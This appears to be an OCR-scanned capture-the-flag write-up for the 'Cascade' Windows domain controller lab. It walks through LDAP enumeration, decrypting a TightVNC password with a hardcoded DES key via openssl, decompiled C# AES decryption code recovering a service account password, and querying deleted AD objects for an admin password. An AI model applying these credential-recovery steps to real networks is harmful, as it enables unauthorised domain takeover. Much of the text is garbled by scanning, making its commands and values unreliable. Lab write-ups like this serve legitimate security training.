Cascade

Cascade is a medium difficulty Windows machine configured as a Domain
Controller. LDAP anonymous binds are enabled, and enumeration yields
the password for user ‘r.thompson’, which gives access to a TightVNC"
registry backup. The backup is decrypted to gain the password for
's.smith". This user has access to a .NET executable, which after decompi-
lation and source code analysis reveals the password for the "ArkSvc™ ac-
count. This account belongs to the "AD Recycle Bin" group and is able to
view deleted Active Directory objects. One of the deleted user accounts is
found to contain a hardcoded password, which can be reused to login as
the primary domain administrator.
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1 Initial Network Analysis and Subsequent Discoveries through LDAP
Examination

With standard Nmap and SMB scans and reconnaissance, there wasn't much to note. However,

LDAP provided some interesting findings.
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We possess user information, and within this dataset, one user's record includes the attribute 'cas-

cadelegacyPwd' with the value ‘clkObjVIdmE="




We have acquired new credentials, enabling us to enumerate both users and shared resources:

Windows 6.1 Build 7601 » (name:CASC-DC1) (domain

ay
with PC protocol

Built-in acc
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We have also identified several shared resources. | will proceed to download the contents of the

'Data’ share for further investigation.
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2  File Analysis and Password Decryption Efforts

We have discovered something intriguing within the files:

|- [~/IT/Temp/s.smith]
VNC\ Install.reg
e¢Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINENWSOFTWAREMNTightWNC]

[HKEY_LOCAL_MACHINENSOFTWAREMNTightWNCh\Server]
"ExtraPorts"=""
"QueryTimeout"=dword: 00@00@1e
"QueryAcceptOnTimeout "=dword: 00200000
"LocalInputPriorityTimeout"=dword: 00000003
"LocalInputPriority”"=dword: 00000000
"BlockRemoteInput”=dword: 20000000
"BlockLocalInput®=dword: 000000008
"IpAccessControl"=""
"RfbPort"=dword:0008170c
"HttpPort"=-dword:200016a8
"DisconnectAction”=dword: 00000000
"AcceptRfbConnections”=dword:@ p@1
"UseVncAuthentication"=dword: 00000001
"UseControlAuthentication"=dword: 00000000
"RepeatControlauthentication”=dword: 00000000
"LoopbackOnly"=dword: 00200080
"AcceptHttpConnections"=dword: 00000001
"LoglLevel"=dword: 00000080
"EnableFileTransfers"=dword: 200008081
"RemoveWallpaper"=dword: 00000001
"UseD3D"=dword: 00000081
"UseMirrorDriver"=dword: 20000081
"EnableUrlParams"=dword: 20000081
"Password”"=hex:6b,cf,2a,4b,6e,5a,ca,df
rsShared”=dword (6]4] 4]
"NeverShared"=dword: 20000000
"DisconnectClients”=dword: 20000081
"PollingInterval”=dword:@ @3e8
"AllowLoopback”=dword: 200000080
"VideoRecognitionInterval"=dword:0000@bb8
"GrabTransparentWindows"=dword: 20000081
"SavelogToAlllUsersPath"=dword: 00000000
"RunControlInterface”=dword: 20000001
"IdleTimeout"=dword: 20000000
"WideoCla
"WideoRec

We have identified a second user associated with a VNC setup, and we are able to view the 'pass-
word' value.



However, the password value is encrypted and requires further investigation. After analysis, it was
determined that VNC utilizes a hardcoded DES key for credential storage, a practice consistent
across multiple product lines.

Consequently, we can decrypt the password using the following method:

Execute the command:

echo 6bcf2ad4b6e5acalf | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -
iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv to decrypt the pass-
word

-K e84ad660c472laed -1v Q000000000000000 -d -provider

DOe0000s

Success has been achieved in obtaining the second set of credentials. We are now able to retrieve
the 'user.txt' file.




3 Group Membership Insights and Credential Retrieval Strategies

We have observed that the user 's.smith' is a member of the 'Audit Share' group

User name
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User's comment
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Workstations allowed ALl

Logon script MapAuditDrive.vbs
User profile

Home directory

Last logon 1/28/202@0 11:26:39 PM

Logon hours allowed All

Local Group Memberships #Audit Share

*Remote Management Use
Global Group memberships #*Domain Users
The command completed successfully.

Actually, he is the only one in Audit Share group:
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command completed successfully.



The comment serves as a valuable clue, prompting further examination of this share:

th -p share 10.18.10.182
10.190.10.182 C Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (

10.16.10.182
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We possess read permissions for the 'Audit' share. Let's proceed to download the files from it, em-
ploying a similar method to what was used previously:
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blocks of size 4@96.

The first approach involves connecting to the .db file and enumerating its contents.

)-[~/DB]

Audit.db
S0Lite version 3.44.2 2023-11-24 11:41:44
=
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It appears that we have identified credentials for the user 'arkSvc', but they are not readily de-
cryptible. Utilizing Open Source Intelligence (OSINT), | have located a webpage related to these
credentials:

<no name> by Anonymous

using System;

using System.IO;

using System.Security.Cryptography;
using System.Text;

public class Program
i
public static void Main()
i
string str = string.Empty;
str = DecryptString("BQOS15KIIMAErXx6Q6AG0W==", "cdscadek3y654321");
Console.WriteLine(str);

H

public static string DecryptString(string EncryptedString, string Key)
i
byte[] buffer = Convert.FromBase645tring(Encryptedstring);
Aes aes = Aes.Create();
(({SymmetricAlgorithm) ses).KeySize = 128;
((SymmetricAlgorithm) aes).BlockSize = 128;
({SymmetricAlgorithm) aes).IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ixd9842");
((symmetricAlgorithm) aes).Mode = CipherMode.CBC;
((SymmetricAlgorithm) aes).Key = Encoding.UTF8.GetBytes(Key);
using (MemoryStream memoryStream = new MemeryStream(buffer))
i
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, ((SymmetricAlgorithm) aes).CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] numArray = new byte[checked (buffer.Length - 1 + 1)];
cryptoStream.Read (numArray, @, numirray.Length);
return Encoding.UTF8.GetString(numArray);
¥
i
H

w3lc@meFr3lnd

An individual utilized an online compiler and inadvertently left the key accessible to the public.

Another approach requires us to conduct an analysis of this executable using DNSpy

J— [ =~

ile CascAudit.exe

cAudit.exe: PE executable (console) Intel 8 6 Mono/.Net ; S 3 sections
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By setting a breakpoint at line 53, where the SQL connection is closed, we are able to observe the
decrypted password:

connection data From data

er(directoryEntry)})

e.50LiteConnection}

We have successfully identified new credentials: the username is 'ArkSvc' and the password is
'w3lcOmeFr31nd’
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4 Elevating Privileges to System Administrator

Let's now investigate the nature and privileges associated with the 'arksvc' user ac-

count.

et user arkswvc

arkswvc
ArkSwvc

Comment

ser's comment

Yes

Account expires Newver
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Norkstations allowed All

Logon script

ser profile

ome directory

Last logon 12/25/2023 5:26:37 PM

Logon hours allowed AT

Local Group Memberships *AD Recycle Bin
*Remote Management Use

Global Group memberships #Domain Users

he command completed successfully.

The user 'arksvc' holds membership in the 'AD Recycle Bin' group, which allows for
the recovery of deleted Active Directory objects without resorting to backups, re-

starting Active Directory Domain Services, or rebooting DCs



More info at:
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https://blog.netwrix.com/2021/11/30/active-directory-object-recovery-recycle-bin/

With this information, we can execute the following query. Additionally, this enables

us to retrieve the 'root.txt' file:

PS vc> Get ject -filter "isdelete eq $true —and name -ne "Deleted Objects" -a

ludeDeletedObjec

-4866-bceb-a842791ca@59

mFDV I:IH ”l.'JFI IMDE
baLT.:14MDDd1¢'

\sers\Administr
C:\Users\Administr

ZUsershAdministrator\Desktop

Directory: C

LastWriteTime Length MName

strator\Desktop> |}

C:\Usersh\Admini

nd samaccountname -eq "TempAdmin""

-inc



https://blog.netwrix.com/2021/11/30/active-directory-object-recovery-recycle-bin/

